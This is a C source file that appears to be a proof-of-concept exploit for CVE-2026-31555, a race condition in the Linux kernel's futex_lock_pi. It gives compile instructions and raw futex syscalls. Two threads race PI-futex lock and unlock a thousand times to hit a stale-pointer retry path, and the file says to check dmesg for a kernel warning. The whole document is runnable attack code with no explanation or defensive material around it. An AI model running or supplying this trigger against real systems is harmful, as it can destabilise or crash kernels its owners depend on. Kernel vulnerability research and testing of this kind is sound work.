/*
* PoC for CVE-2026-31555
* This code attempts to trigger the race condition in futex_lock_pi.
* Compile: gcc -o poc CVE-2026-31555.c -lpthread
*/
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <linux/futex.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <errno.h>
// Futex syscall wrapper
int futex(int *uaddr, int futex_op, int val,
const struct timespec *timeout, int *uaddr2, int val3) {
return syscall(SYS_futex, uaddr, futex_op, val, timeout, uaddr2, val3);
}
int futex_addr = 0;
void *owner_thread(void *arg) {
// Thread acquires the lock and exits immediately
// This simulates the 'exit()' race condition
futex(&futex_addr, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
return NULL;
}
void *attacker_thread(void *arg) {
// Thread tries to lock the futex, potentially hitting the retry path
// where the stale pointer bug occurs
while (1) {
int res = futex(&futex_addr, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
if (res == 0) {
futex(&futex_addr, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
}
}
return NULL;
}
int main() {
pthread_t t1, t2;
printf("Starting PoC for CVE-2026-31555...\n");
printf("Check dmesg for WARN_ON_ONCE in futex_lock_pi.\n");
// Create threads to race on the futex
for (int i = 0; i < 1000; i++) {
futex_addr = 0; // Reset futex state
pthread_create(&t1, NULL, owner_thread, NULL);
pthread_create(&t2, NULL, attacker_thread, NULL);
pthread_join(t1, NULL);
// Give attacker thread some time or cancel it
pthread_cancel(t2);
pthread_join(t2, NULL);
}
return 0;
}